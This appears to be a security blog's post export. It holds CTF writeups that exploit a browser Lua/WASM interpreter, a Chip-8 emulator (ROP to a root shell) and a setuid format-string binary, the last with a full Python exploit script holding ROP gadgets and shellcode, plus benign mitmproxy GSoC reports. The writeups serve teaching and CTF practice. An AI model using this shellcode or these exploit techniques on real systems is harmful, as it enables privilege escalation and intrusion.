UpValue.\nThe output of the script confirms that our object finally has citizenship:\nFake str at: 0x10bd60 Fake TValue at: 0x112c48 Fake Upvals at: 0x109118 Fake Closureat : 0x109298 nil nil LClosure: 0x10a280 Crafted string length is 1337 \u0026lt;--- WE PICKED THIS LENGTH! Escape from Alcawasm # In the linked blogpost, the author describes well the \u0026ldquo;superpowers\u0026rdquo; that exploit developers gain by being able to craft fake objects.\nAmong these, we have:\nArbitrary read Arbitrary write Control over the Instruction Pointer In this last section, I\u0026rsquo;ll explain why the latter is everything we need to complete the challenge.\nTo understand how, it\u0026rsquo;s time to go back to the information gathering.\n(More) Information Gathering # The description of the challenge hints that, in the WASM context, there is some kind of \u0026ldquo;win\u0026rdquo; function that cannot be invoked directly via Lua, and that\u0026rsquo;s the target of our exploit.\nInspecting the JS code that instantiates the WASM assembly gives some more clarity on this:\na || (n.global.lua.module.addFunction((e =\u0026gt; { const t = n.global.lua.lua_gettop(e) , r = []; for (let a = 1; a \u0026lt;= t; a++) switch (n.global.lua.lua_type(e, a)) { case 4: r.push(n.global.lua.lua_tolstring(e, a)); break; case 3: r.push(n.global.lua.lua_tonumberx(e, a)); break; default: console.err(\u0026#34;Unhandled lua parameter\u0026#34;) } return 1 != r.length ? self.postMessage({ type: \u0026#34;error\u0026#34;, data: \u0026#34;I see the exit, but it needs a code to open...\u0026#34; }) : 4919 == r[0] ? self.postMessage({ type: \u0026#34;win\u0026#34; }) : self.postMessage({ type: \u0026#34;error\u0026#34;, data: \u0026#34;Invalid parameter value, maybe more l333t needed?\u0026#34; }), 0 } ), \u0026#34;ii\u0026#34;), Uhm, I\u0026rsquo;m no WASM expert, but it looks like this piece of code might just be the \u0026ldquo;win\u0026rdquo; function I was looking for.\nIts code is not too complex: the function takes a TValue e as input, checks its value, converting it either to string or integer, and stores the result into a JS array. Then, the value pushed is compared against the number 4919 (0x1337 for y\u0026rsquo;all), and if it matches, the \u0026ldquo;win\u0026rdquo; message is sent (most likely then granting the final achievement).\nLooking at this, it seems what we need to do is to find a way to craft a fake Lua function that points to the function registered by n.global.lua.module.addFunction, and invoke it with the 0x1337 argument.\nBut how does that addFunction work, and how can we find it in the WASM context?\nEmscripten # Googling some more leads us to the nature of the addFunction:\nhttps://emscripten.org/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-javascript-functions-as-function-pointers-from-c\nYou can use addFunction to return an integer value that represents a function pointer. Passing that integer to C code then lets it call that value as a function pointer, and the JavaScript function you sent to addFunction will be called.\nThus, it seems that wasmoon makes use of Emscripten, the LLVM-based WASM toolchain, to build the WASM module containing the Lua interpreter.\nAnd, as it seems, Emscripten provides a way to register JavaScript functions that will become \u0026ldquo;callable\u0026rdquo; in the WASM. Digging a little more, and we see how the addFunction API is implemented:\nhttps://github.com/emscripten-core/emscripten/blob/1f519517284660f4b31ef9b7f921bf6ba66c4041/src/library_addfunction.js#L196\nSNIP var ret = getEmptyTableSlot(); // Set the new value. try { // Attempting to call this with JS function will cause of table.set() to fail setWasmTableEntry(ret, func); } catch (err) { if (!(err instanceof TypeError)) { throw err; } #if ASSERTIONS assert(typeof sig != \u0026#39;undefined\u0026#39;, \u0026#39;Missing signature argument to addFunction: \u0026#39; + func); #endif var wrapped = convertJsFunctionToWasm(func, sig); setWasmTableEntry(ret, wrapped); } functionsInTableMap.set(func, ret); return ret; SNIP }, Essentially, the function is being added to the WebAssembly functions table.\nNow again, I\u0026rsquo;ll not pretend to be a WASM expert \u0026ndash; and this is also why I decided to solve this challenge. Therefore, I will not include too many details on the nature of this functions table.\nWhat I did understand, though, is that WASM binaries have a peculiar way of representing function pointers. They are not actual \u0026ldquo;addresses\u0026rdquo; pointing to code. Instead, function pointers are integer indices that are used to reference tables of, well, functions. And a module can have multiple function tables, for direct and indirect calls \u0026ndash; and no, I\u0026rsquo;m not embarrassed of admitting I\u0026rsquo;ve learned most of this from ChatGPT.\nNow, to understand more about this point, I placed a breakpoint in a pretty random spot of the WebAssembly, and then restarted the challenge \u0026ndash; the goal was to stop in a place where the chrome debugger had context on the executing WASM, and explore from there.\nThe screenshot below was taken from the debugger, and it shows variables in the scope of the execution:\nPlease notice the __indirect_function_table variable: it is filled with functions, just as we expected.\nCould this table be responsible for the interface with the win function? To find this out, it should be enough to break at some place where we can call the addFunction, call it a few times, then stop again inside the wasm and check if the table is bigger:\nAnd the result in the WASM context, afterwards:\nSounds like our guess was spot on! Our knowledge so far:\nThe JS runner, after instantiating the WASM, invokes addFunction on it to register a win function The win function is added to the __indirect_function_table, and it can be called via its returned index The win function is the 200th function added, so we know the index (199) The last piece, here, is figure out how to trigger an indirect call in WASM from the interpreter, using the primitives we have obtained.\nLuckily, it turns out this is not so hard!\nWhat\u0026rsquo;s in an LClosure # In the blogpost, I\u0026rsquo;ve learned that crafting fake objects can be used to control the instruction pointer.\nThis is as easy as crafting a fake string, and it\u0026rsquo;s well detailed in the blogpost. Let\u0026rsquo;s try with the same experiment:\n# Code SNIP -- function pointer + type fakeFunction = ubn(0xdeadbeef, 8) .. ubn(22, 8) fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8) fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8) crafted_func = craft_object(fakeClosure) crafted_func() # Output SNIP RuntimeError: table index is out of bounds The error message tells us that the binary is trying to index a function at an index that is out of bound.\nLooking at the debugger, this makes a lot of sense, as the following line is the culprit for the error:\ncall_indirect (param i32) (result i32) Bingo! This tells us that our fake C functoin is precisely dispatching a WASM indirect call.\nAt this point, the puzzle is complete :)\nPlatinum Trophy # Since we can control the index of an indirect call (which uses the table of indirect functions) and we know the index to use for the win function, we can finish up the exploit, supplying the correct parameter:\n# Code -- function pointer (win=199) + type fakeFunction = ubn(199, 8) .. ubn(22, 8) fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8) fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8) crafted_func = craft_object(fakeClosure) crafted_func(0x1337) and\u0026hellip;\nWrapping it up # Solving this challenge was true hacker enjoyment \u0026ndash; this is the joy of weird machines!\nBefore closing this entry, I wanted to congratulate the author of the challenge (and of the attached blogpost). It is rare to find content of this quality. Personally, I think that the idea of preparing challenges as companion content for hacking writeups is a great honking ideas, and we should do more of it.\nIn this blogpost, we hacked with interpreters, confusions, exploitation primitives and WASM internals. I hope you\u0026rsquo;ve enjoyed the ride, and I salute you until the next one.\nEnjoy!\n","date":"12 September 2024","externalUrl":null,"permalink":"/posts/2024-09-12-escape_alcawasm/","section":"Experiments","summary":"Gamedevs of the world, unite! Your favourite language is in danger – the l33t wrongdoers have figured out how to BYOB (Bring Your Own Bytecode) and pwn the Lua v5.4 interpreter!","title":"AlcaWASM challenge writeup - Pwning an in-browser Lua interpreter","type":"posts"},{"content":"","date":"12 September 2024","externalUrl":null,"permalink":"/tags/lua/","section":"Tags","summary":"","title":"Lua","type":"tags"},{"content":"","date":"12 September 2024","externalUrl":null,"permalink":"/tags/pwn/","section":"Tags","summary":"","title":"Pwn","type":"tags"},{"content":"","date":"12 September 2024","externalUrl":null,"permalink":"/tags/wasm/","section":"Tags","summary":"","title":"Wasm","type":"tags"},{"content":"","date":"12 September 2024","externalUrl":null,"permalink":"/tags/writeup/","section":"Tags","summary":"","title":"Writeup","type":"tags"},{"content":"","date":"18 April 2024","externalUrl":null,"permalink":"/tags/0day/","section":"Tags","summary":"","title":"0day","type":"tags"},{"content":"","date":"18 April 2024","externalUrl":null,"permalink":"/tags/android/","section":"Tags","summary":"","title":"Android","type":"tags"},{"content":"","date":"18 April 2024","externalUrl":"https://www.shielder.com/blog/2024/04/element-android-cve-2024-26131-cve-2024-26132-never-take-intents-from-strangers/","permalink":"/posts/2024-04-18-element-android-0day/","section":"Experiments","summary":"Wild trips with intent redirections to compromise an end-to-end encrypted messaging chat.","title":"Element Android CVE-2024-26131, CVE-2024-26132 - Never take intents from strangers","type":"posts"},{"content":"","date":"30 January 2024","externalUrl":"https://www.shielder.com/blog/2024/01/hunting-for-~~un~~authenticated-n-days-in-asus-routers/","permalink":"/posts/2024-01-30-asus-router-nday/","section":"Experiments","summary":"Firmware analysis, reverse engineering and binary exploitation shenanigans on Asus routers.","title":"Hunting for (Un?)authenticated n-days in Asus routers","type":"posts"},{"content":"","date":"30 January 2024","externalUrl":null,"permalink":"/tags/nday/","section":"Tags","summary":"","title":"Nday","type":"tags"},{"content":"","date":"23 October 2023","externalUrl":"https://www.shielder.com/blog/2023/10/cve-2023-33466-exploiting-healthcare-servers-with-polyglot-files/","permalink":"/posts/2023-10-23-shielder-orthanc/","section":"Experiments","summary":"N-day exploit for Orthanc. Now featuring polyglot files!","title":"CVE-2023-33466 - Exploiting healthcare servers with polyglot files","type":"posts"},{"content":"","date":"15 September 2018","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":" Tweeting Invaders # Before diving into exploit and vulnerabilities, I\u0026rsquo;ll take a little time to introduce the core concepts behind the challenge. The same key concepts which made this challenge so much fun, frustrating, and wait, did I say frustrating?\nThe binary, twitter, was basically an emulator to ROMs from the past which the challenge provided us\u0026hellip;Pong, Space Invaders and such, you know :)\nA good run of reversing with IDA and some googling made me discover a whole world of passionate programmers of this language, Chip-8, emerged from the 70\u0026rsquo; to provide old devs and young devs a worthy way of spending a free night, and a couple beers.\nAnd twitter is just that, a Chip-8 interpreter written in c++ written by some passionate nerd :)\nSo, to properly follow and reproduce the writeup, I\u0026rsquo;d encourage you to go and take a quick read of the Chip-8 Instruction Set \u0026ndash; I\u0026rsquo;ll refer to that in what follows.\nMoreover, to successfully write my custom ROM and exploit the vulnerability I used chipper.\nBinary Analysis # The binary is NX, so we need to use some ROP technique to exploit it. With PIE option, dynamic linking, and ASLR, not a single address in memory will be loaded in a deterministic fashion. We will definitely need some leak.\nThe Vulnerability # Chip-8 accesses its RAM through a dedicated register named Index Register, or I.\nAn 8-bit register wouldn\u0026rsquo;t be enough to address the whole content of its memory, which is historically (and modern interpreters follow the same convention) large 4K, so that the Index is large 16-bit \u0026ndash; with 4K, only 12 of which are used.\nMy bet was that, in our given interpreter binary, the check to avoid that Index register didn\u0026rsquo;t address anything larger than 4K was faulty; so I could write custom instructions to read and write from areas of memory used by the interpreter, out of the dedicated environment. A quick run with a Proof-Of-Concept ROM confirmed the vulnerability.\noverflow.asm\noption binary align off ld I, #FFF ld v0, #42 ld v1, #4F ld v2, #4F ld v3, #42 ld v4, #10 (add I, v4 ld [I], v3)*a lot of times Standing to the Chip8 Instruction Set, what I\u0026rsquo;m doing here is:\nLoading the index register with the highest address in memory (0xFFF); Loading registers v0 thru v3 with the word BOOB; Increment I by 16, and write BOOB over memory, a lot of times. ./chipper overflow.rom overflow.asm\nWe basically have a buffer overflow here, where the buffer is represented by the 4KB allocated to the environment. Moreover, we can issue read and write operations from arbitrary areas of memory up to 2^16 bytes starting from the buffer.\nThe Exploit # Again, we need a leak. But really, when you have the chance to write and read an arbitrary number of times to/from memory, you will pretty much always find something to make good use of.\nMy strategy here was:\nExamine saved return addresses with backtrace; Search in memory to find where they are stored; Explore neighbour stack addresses; Doing so, I find that some addresses after main saved return address in memory are filled with addresses relative to __libc_start_main and __libc_csu_init. I have my leaks. With these, I can compute relative addresses to ROPgadgets and libc functions, thus pwning the binary. The exploit works as follows:\nLeak the two address I need for libc and ROP; Compute addresses of gadgets and ret2libc through relative offsets, found through gdb on target machine; Build the ROPchain: POPRSI | 1337 | POPRDI | 1337 | SETREUID | POPRDI | /bin/sh ADDRESS | SYSTEM | EXIT\nOverwrite saved return address and follow with ROP. All of this has to be written in Chip-8 instructions. The steps above have been adapted to reflect architectural limits such as number of GP registers :)\nLots of fun to be had with challenges like these. All in all, the attack was quite basic:\nFind a leak Compute offsets Write ROPchain Overwrite saved ret address But nevertheless, finding and exploiting the vulnerability on such a nerdy architecture proved to be extremely rewarding \u0026ndash; 800 pts :)\nYou can inspect the final asm code HERE!\n","date":"15 September 2018","externalUrl":null,"permalink":"/posts/2018-09-15-icectftwitter/","section":"Experiments","summary":"You can play 8-bit emulators if you want, but isn’t it pwning them more fun?","title":"IceCTF 2018 - Twitter writeup","type":"posts"},{"content":" Does size matter? # The challenge description gives us some hint about Format Strings attacks, and the ability to exploit their phenomenal powers\u0026hellip;in a Itty-Bitty living space :) [\u0026hellip;a margin of paper]\nSome Analysis # Which kind of beast are we facing? A run of checksec and file:\nWith PIE disabled, and the binary statically linked, we basically have every address we desire carved in a stone. Running multiple times the binary in target machine, with gdb set disable-randomization off, also confirms that stack addresses are stable during different runs.\nThis time, we do have the source code to analyze. Let\u0026rsquo;s take a look.\n#define _GNU_SOURCE #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; void welcome(void) { char *user = getenv(\u0026#34;USER\u0026#34;); char buf[1000 + (user != NULL ? strlen(user) : 0)]; memset (buf, 0, sizeof(buf)); snprintf (buf, sizeof(buf), \u0026#34;Welcome to Fermat\u0026#39;s Last Exploit, %s!\u0026#34;, user); printf (\u0026#34;%s\u0026#34;, buf); /* Careful */ } void payload(char *input) { char buf[16]; int i, cnt = -1; welcome(); /* Make sure input isn\u0026#39;t too long */ if (strlen (input) \u0026gt; 7) { fprintf (stderr, \u0026#34;Your payload is too large!\\n\u0026#34;); return; } /* Ensure there aren\u0026#39;t any rogue format string conversions in here */ for (i = 0; i \u0026lt; strlen(input); i++) { if (input[i] == \u0026#39;%\u0026#39;) cnt++; } if (cnt \u0026gt; 0) { fprintf (stderr, \u0026#34;No `%%\u0026#39; characters allowed!\\n\u0026#34;); return; } memset (buf, 0, sizeof(buf)); /* Avoid security problems by checking length, just in case */ strncpy (buf, input, sizeof(buf)-1); printf (buf); } void dispatch(int argc, char **argv) { if (argc \u0026gt; 1){ payload (argv[1]); } else { printf(\u0026#34;Usage: %s \u0026lt;payload\u0026gt;\\n\u0026#34;, argv[0]); } } int main(int argc, char **argv) { dispatch (argc, argv); return 0; } We can provide two kinds of inputs:\ninput, which will be delivered as argv[1] via command line. USER, via environment variable. About input # int i, cnt = -1; ... ... /* Ensure there aren\u0026#39;t any rogue format string conversions in here */ for (i = 0; i \u0026lt; strlen(input); i++) { if (input[i] == \u0026#39;%\u0026#39;) cnt++; } if (cnt \u0026gt; 0) { fprintf (stderr, \u0026#34;No `%%\u0026#39; characters allowed!\\n\u0026#34;); return; } It is clear that the protection mechanism will be triggered with at least two uses of \u0026lsquo;%\u0026rsquo; character. So we have only one format specifier to shoot.\n/* Make sure input isn\u0026#39;t too long */ if (strlen (input) \u0026gt; 7) { fprintf (stderr, \u0026#34;Your payload is too large!\\n\u0026#34;); return; } Here it is, our tiny margin of space. Length of the string cannot seemingly exceed 7 characters.\nmemset (buf, 0, sizeof(buf)); /* Avoid security problems by checking length, just in case */ strncpy (buf, input, sizeof(buf)-1); printf (buf); At last, a format string vulnerability!\nAbout USER # char buf[1000 + (user != NULL ? strlen(user) : 0)]; ... ... snprintf (buf, sizeof(buf), \u0026#34;Welcome to Fermat\u0026#39;s Last Exploit, %s!\u0026#34;, user); The buffer grows together with the length of our env input. This means we can stretch it quite a lot :)\nPlanning The Attack # NX enabled, PIE disabled, binary is statically linked. We have a way to write over memory (format strings) and a way to fill the stack with arbitrary input (USER env variable copied in buf). We have static address for pretty much everything.\nI have a clear goal in mind:\nPlace in USER a payload composed of: A ROPchain calling mprotect() to enable RWX permissions on a stack page; A shellcode to setreuid(1337, 1337) \u0026amp; execve(\u0026quot;/bin/sh\u0026quot;, NULL, NULL) Exploit the format string vulnerability to jump to my previously placed payload. NOTE # The reason I need setreuid(1337, 1337) lays in how Linux and bash handle permissions. fermat binary is owned by target user, with setuid bit enabled. This means that every user running the binary will run it with owner permissions, which we need to read the flag.\nHowever, in our target machine, /bin/sh links to /bin/bash, and for security reasons the latter drops suid privileges when executed.\nThe solution to this is to call setreuid(), which sets our real_id to be equal to our current effective_id. Linux manual is there for more informations on the argument :)\nSo, back to the business\u0026hellip;I need a reliable way to start my ROPchain.\nIn technical words, this means that ESP register must point to the beginning of the fake stack I have injected via USER variable, and EIP register must point to a ret instruction.\nTo keep things short, I\u0026rsquo;ll explain here how I managed to obtain the above, together with the exploit. For your information, getting to that solution required a lot of trial and error, and searching thru the stack and text section with GDB.\nThe Exploit # Let\u0026rsquo;s see how to use our format string vulnerability. This is a snapshot of memory layout when hitting the vulnerable printf():\nLooking at output from bt and stack we can examine the how stack frames where formed. We are in function payload(), and there on the stack we have:\nSaved EBP and Saved EIP (pointing to dispatch + 40) to restore dispatch; Saved EBP and Saved EIP (pointing to main + 42) to restore main; We will use a stack pivoting technique to make ESP point to our fake stack.\nThe idea is to overwrite Saved EBP in dispatch frame, at address 0xffffd5a8, to point to our payload injected in welcome().\nHow? We have 7 characters.\nThe following input: %14$hn writes 0 in the two bytes starting at the address pointed by the 14th word after the format string.\nIn practice:\nLooking back at the image, the 14th word after the format string is at address 0xffffd588; This address points to 0xffffd5a8; So, our format string will write 0x0 into 0xffffd5a8 and 0xffffd5a9 Previously, 0xffffd5a8 contained value 0xffffd5c8; After printf(), it will contain value 0xffff0000. Now, remember the welcome() function? Thanks to that function, we can write a huge payload into memory, and buffer will grow (in stack, so towards lower addresses), so that we can make the area now written in Saved BP (0xffff0000) pointing to our payload.\nNow I needed to find a way to write that value into ESP and trigger the ROPChain.\nThe trick to trigger stack pivoting is using the two leave instruction in dispatch and main:\nThe first leave moves ESP to current EBP, then copies our overwritten SBP into EBP; The second leave moves ESP to current EBP - which we injected in the previous frame - then pops the SBP into EBP, but this doesn\u0026rsquo;t matter since ESP points to our payload now :) I slightly modified this approach because of these instructions in main:\nFollowing leave, the value in memory pointed by ecx - 4 is moved into esp. Luckily, we can control the content of ecx, since it is loaded in: mov ecx, DWORD PTR [ebp - 0x4], and ebp is already pointing to our fake stack.\nThe rest of the work has just been writing a ROPchain which didn\u0026rsquo;t contain NULL bytes (that couldn\u0026rsquo;t reside in env) \u0026ndash; but since the binary is statically linked, I have a whole load of ROP gadgets already linked to binary, found with ropper \u0026ndash; and carefully computing addresses inside and outside gdb. Here, the script to generate the payload, which I used in target machine with:\nUSER=$(python exploit.py) ./fermat \u0026quot;%14\\$hn\u0026quot;\nimport struct def p32(address): return struct.pack(\u0026#34;I\u0026#34;, address) # To compute addresses to store args to mprotect mprotect_base = 0xffff105c # mprotect requires a page aligned boundary stackpage_base = 0xffff1000 # setreuid(geteuid(), geteuid()) \u0026amp;\u0026amp; execve(\u0026#34;/bin//sh\u0026#34;, NULL, NULL) shellcode = \u0026#34;\\x6a\\x31\\x58\\x99\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x6a\\x46\u0026#34; shellcode += \u0026#34;\\x58\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\u0026#34; shellcode += \u0026#34;\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xd1\\xcd\\x80\u0026#34; movdpedx = 0x08055a2b # mov dword ptr [edx], eax; ret xoreax = 0x08049743 # xor eax, eax; ret inceax = 0x0807f1bf # inc eax; ret popedx = 0x08073bda # pop edx; ret popeax = 0x080bd026 # pop eax; ret mprotect = 0x8072c50 # address to mprotect # The ropchain computes args to mprotect and pushes them # to the right address in fake stack, which is after mprotect_base. # mprotect_base is a value I have computed by trial, looking # at where, after payload injection, mprotect address was loaded # into fake stack. ropchain = p32(popedx) + p32(mprotect_base + 4) + p32(popeax) ropchain += p32(stackpage_base - 1) + p32(inceax) + p32(movdpedx) ropchain += p32(popedx) + p32(mprotect_base + 8) + p32(xoreax) ropchain += p32(inceax) + p32(movdpedx) + p32(popedx) + p32(mprotect_base + 12) ropchain += p32(xoreax) + p32(inceax)*7 + p32(movdpedx) + p32(mprotect) # mprotect_base + 16 points to the shellcode; we need to ret to it. # BBBB*3 will be overwritten at runtime by movdpedx gadgets. ropchain += p32(mprotect_base + 16) + \u0026#34;BBBB\u0026#34;*3 payload = \u0026#34;A\u0026#34;*6394 # Distance between 0xffff0000 - 0x4 and start of USER payload += p32(0xffff1004) # address to load into esp + 0x4 payload += \u0026#39;A\u0026#39;*4096 # JUNK payload += ropchain payload += shellcode payload += \u0026#39;A\u0026#39;*(30000 - len(payload)) # just because I used 30k to compute addresses and experiment. print(payload) IceCTF{s1ze_matt3rs_n0t}\n","date":"14 September 2018","externalUrl":null,"permalink":"/posts/2018-09-14-icectffermat/","section":"Experiments","summary":"How much space do you need to exploit a format string?","title":"IceCTF 2018 - Fermat string writeup","type":"posts"},{"content":"","date":"10 August 2018","externalUrl":null,"permalink":"/tags/coding/","section":"Tags","summary":"","title":"Coding","type":"tags"},{"content":"","date":"10 August 2018","externalUrl":null,"permalink":"/tags/gsoc/","section":"Tags","summary":"","title":"Gsoc","type":"tags"},{"content":" A Summer of Code # Here I write my final report of Google Summer of Code 2018 for mitmproxy, under the Honeynet organization. I\u0026rsquo;ll include pretty much all the work done for the organization, together with the ideas behind every step. Use it to get the code, or read about my work and contact me while I extend it, to be part of this awesome team :)\nShortly, my project for these months was to develop a new serialization module for mitmproxy Flows. This is useful in a number of ways, most of them underlined in my GSoC project overview. One peculiar idea was to exploit this module to implement a Hybrid SQLite DB which could serve as the storage layer for mitmproxy \u0026ndash; not only solving RAM chugging issues, but serving as the foundation to implement persistence in the software, aka Sessions.\nTesting # Before spending time and resources to properly implement a serialization interface under Google Protocol Buffers, one crucial point was to test the libraries (protobuf and sqlite), gathering some fact to ensure that serializing wouldn\u0026rsquo;t have too much impact on performances. In the meantime, it proved to be a good time to learn more about asyncio code in Python, which anyway is the approach adopted by mitmproxy since release 4.\nPull Requests # Test Dumping Performances This has been my first PR for GSoC. It included a lot of testing code: a dummy serialization interface, and two addons which measured dumping time in comparison with tnetstrings(dumpwatcher), and throughput to SQLite DB when flows are streaming costantly(streamtester). I, later in time, adjusted that code - using the new, complete protobuf interface - to be used as a benchmarking script in test folder:\nProtobuf Benchmarking Script This can be used as it is just by running the script, as with every other mitmproxy script. It can be modified by tweaking params, or saving path, or flow dimensions and fields.\nRefactoring the View API # Building a new storage layer means building a new View. This addon, in fact, handles the logic to implement the ordered, filtered storage every tool (web or console) offers in its interface. The View offers an API exposed via commands to the tools, but some of the code still accessed the addon internally. So, I started cleaning up the API, extending it, and clearing most of the \u0026ldquo;illegal\u0026rdquo; accesses to the addon.\nPull Requests # View Cleanup The cleanup is not completed yet. It will be a gradual process, involving changes in some other area of mitmproxy, to be reworked in conjuction with other devs. Nevertheless, it was a good start and helped a lot understanding how and where mitmproxy stores its flows :)\nBuilding the Protocol Buffer Interface # Here we go. Serializing flows with protobufs. My idea, during the whole process, was to mirror the functionalities that tnetstrings and state_objects offered, bringing all the logic into: a .proto file, providing a clear format for Flows, and the protobuf module, where all the conversion code was implemented.\nPull Requests # Shifting to Protocol Buffer Serialization The code is merged and can be used by every tool, script or addon interfacing with mitmproxy by importing mitmproxy.io.protobuf, calling protobuf.dumps, protobuf.loads methods. Everything should be clear enough reading the code and its usage in the the other PRs which use this interface.\nA New Storage Layer for Sessions # Having a functioning, fast enough dumping interface handy, I proceeded with building the foundations for Session storage. In particular, I have developed an addon (Session) which implements the logic to use the Hybrid DB (indexed protobuf blobs of flows) as the storage layer for mitmproxy.\nPull Requests # Session - Hybrid DB Session - Storage Layer The two PRs are widely commented, so I\u0026rsquo;ll avoid adding redundancy here.\nThe End\u0026hellip;? # I\u0026rsquo;m grateful for the GSoC experience. It encouraged me to explore the Open Source community, find many amazing developers and persons, while constantly improving my skills and knowledge. I have found an awesome environment in mitmproxy, and while the GSoC period ends, my journey with this organization does not. Enjoy!\nPietro - madt1m\n","date":"10 August 2018","externalUrl":null,"permalink":"/posts/2018-08-10-summer_of_code/","section":"Experiments","summary":"Recap of my experience in the Google Summer of Code with mitmproxy","title":"GSoC 2018 - Final report","type":"posts"},{"content":"Here we are again. Notice anything unusual in the title? Yeah, you got me. I gathered results over results before posting anything, and this means that I\u0026rsquo;ll try to condense here the results of these 10 days.\nBenchmarks, benchmarks\u0026hellip; # The last thing I was testing on was my dumpwatcher addon for mitmproxy. This basically showed how:\nProtobuf serializer class was working great to generate the dumps. It took an awful lot of time to insert every blob to the SQLite DB. The idea - hints of mentors inside - is now to move my testing process from time to throughput. Let\u0026rsquo;s be honest, trying to measure meaningfully a single dump/write is not going to take me anywhere - too many variables - and in any case writing each flow alone is not the greatest strategy.\nI decided to move to a different strategy, with a completely different addon.\nThis time, I will take a unit flow, and generate accordingly a constant stream of flow duplicates, measuring how my system is reacting to this - parameterized and tweakable, of course - stress test.\nAh, and before I forget it. Last time I promised I would\u0026rsquo;ve taken a look to asyncio module, to align to mitmproxy strategy (it recently moved to asyncio) and, to be honest, gather some more knowledge. As usually, you can check the code on my repo (listed at the end of the page), but I will resume here the hot code:\nasync def stream(self): while True: await self.queue.put(protobuf.dumps(self.flow.get_state())) await asyncio.sleep(self._stream_period) async def writer(self): while True: await asyncio.sleep(self._flush_period) count = 1 b = await self.queue.get() self.hot_blobs.append(b) while not self.queue.empty() and count \u0026lt; self._flush_rate: try: self.hot_blobs.append(self.queue.get_nowait()) count += 1 except asyncio.QueueEmpty: pass start = time.perf_counter() n = self._fflush() end = time.perf_counter() ctx.log(f\u0026#34;dumps/time ratio: {n} / {end-start} -\u0026gt; {n/(end-start)}\u0026#34;) self.results.append(n / (end - start)) self._fflushes += 1 This is a classic producer\u0026lt;-\u0026gt;consumer design, exploiting an asyncio.Queue(). The stream method will produce a protobuf blob, put it on the queue, and sleep for a given amount of time. Periodically - to improve performance - The writer method wakes up, checks if the Queue is not empty, and if so, it takes _up to self.flush_rate flows from the queue. This way, I ensure that flows are inserted to SQLite DB in stocks, avoiding the great waste of time occurring with many isolated transactions.\nLong story short, testing with this, for how rudimentary it could be, showed that the results are acceptable. It is time to move on.\nThe View # The view addon is where I will focus quite the bulk of my work for mitmproxy, during this GSoC.\nLet\u0026rsquo;s examine and point out the major features of the View:\nIt stores the flows received my mitmproxy in memory (self._store). It mantains an ordered list (with different possible order keys) of the flow which are currently displayed to the user (self._view). It keeps track of the currently focused flow. It mantains a Settings mapping, which user can use to annotate, or add various fields, associated to flows id. But most importantly, the View exposes an API which can be accessed by mitmproxy toolkit, which provides various operations on order keys, flows, settings, filters, and a bit more. Being the point of contact between mitmproxy tools, and flows storage, this is where session storage to DB will be implemented.\nSo, before starting to work on my new Session addon, I have to clarify - to myself, and to mitmproxy - what we expect, and how do we expect it, from the View. That is, cleaning and extending the API.\nAnd that is everything. What I\u0026rsquo;m doing right now is refactoring the API, and extending the current test suite to eradicate all the happy bugs I am injecting right now. Then I\u0026rsquo;ll move on cleaning the codebase of all the hacky, not modular accesses to the View.\nYou can check out the status of my work on View API here.\nStreamtester addon discussed at the beginning of the post here.\nEnjoy :)\n","date":"7 June 2018","externalUrl":null,"permalink":"/posts/2018-06-07-week3_4-gsoc/","section":"Experiments","summary":"Week 3 and 4 of hacking at mitmproxy for the Google Summer of Code","title":"GSoC week 3....4 - Passing the exam","type":"posts"},{"content":"Hey. This is me again, in the second week of my coding period with Google Summer of Code :)\nTake a seat, and enjoy!\nA word to feelings # First of all, I realize how this blog is starting to grow on me. I feel that by writing down the content of the mind\u0026rsquo;s buffer, one has the opportunity to face all that possibly unordered content. I will try to serve here content of quality, along with improving the very pleasantness of the portal itself.\nEnough, let\u0026rsquo;s squeeze the juice.\nThe work so far # So, where were we?\nIn the previous post, gsoc-week1, I walked through the development of a mitmproxy addon to measure time of execution of the function in charge of dumping a flow state into a Protocol Buffer string.\nSome initial results showed that, actually, moving to protobuf serialization could have a good impact:\nBut hey, dumping to bytes string makes only half of the process. My mentor suggested me to extend the performance analysis to include the writing of blob to disk.\nSo I did.\n0x10-\u0026gt; Lite Databases and stuff # Writing to disk could be just easy as a call to one open function, plus a few lines of code.\nStill, in order to make this testing process meaningful, I want my system to be as possible as it can be to the target I have the task to implement, during this summer. The whole reason behind the serialization revamp, is basically changing how mitmproxy stores and retrieves flows.\nIt should be dynamic. Flows should be stored the disk, retrieved by index, ordered in bunches, possibly through user-defined filters. And this will happen interactively, in a transparent and flexible way. Using file handles just doesn\u0026rsquo;t click.\nDatabase systems come to the rescue. Using a DBMS, I can easily implement all the functionalities I was listing right before. And since I will just store blobs, along with some utility columns, SQLite seems just the right choice. In particular, quoting from sqlite.org:\nSQLite does not compete with client/server databases. SQLite competes with fopen().\n0x11-\u0026gt; A Dummy Schema # (MID INTEGER PRIMARY KEY, PBUF_BLOB BLOB)\nThis is it. I suppose that every piece of work name, in this phase of coding, starts with Dummy. Take it like a contract, an insurance between me and you. Ahead in the road, things should be a bit more complete :)\nAs you can see, there\u0026rsquo;s not much! The only things I need to build a functioning system, here, is\u0026hellip;storing the blobs and marking them with a good ol\u0026rsquo; numeric index!\n0x20-\u0026gt; Verba volant, IDs manent # With the sqlite3 API ready, and a barebone schema, let\u0026rsquo;s connect our storage with the previously implemented protobuf. This is practically how dump and load interact with our DB:\nstore takes a blob, appends the current maximum mid and inserts the tuple into the DB. It returns that mid to the application, which can then use it as a ticket. collect takes that ticket mid, which is used to retrieve the blob from the db. 0x21-\u0026gt; Transactions, and how to avoid (too many of) them # Dumping the same 4 MB body as in before, including DB insert, yields such results:\n.05 seconds, for a single flow, is something far from what we should obtain.\nBut something worth noting: while insertion to DB takes much more time than tnetstring dump to file, performances in reading are still superior. That suggests something concerning how DBMS handles updates to databases: the loss in performances, as I pointed out in the GitHub PR discussion, is likely caused by every isolated transaction commit, implicit in with sqlite3.connect() context.\nWhat\u0026rsquo;s next # The way I 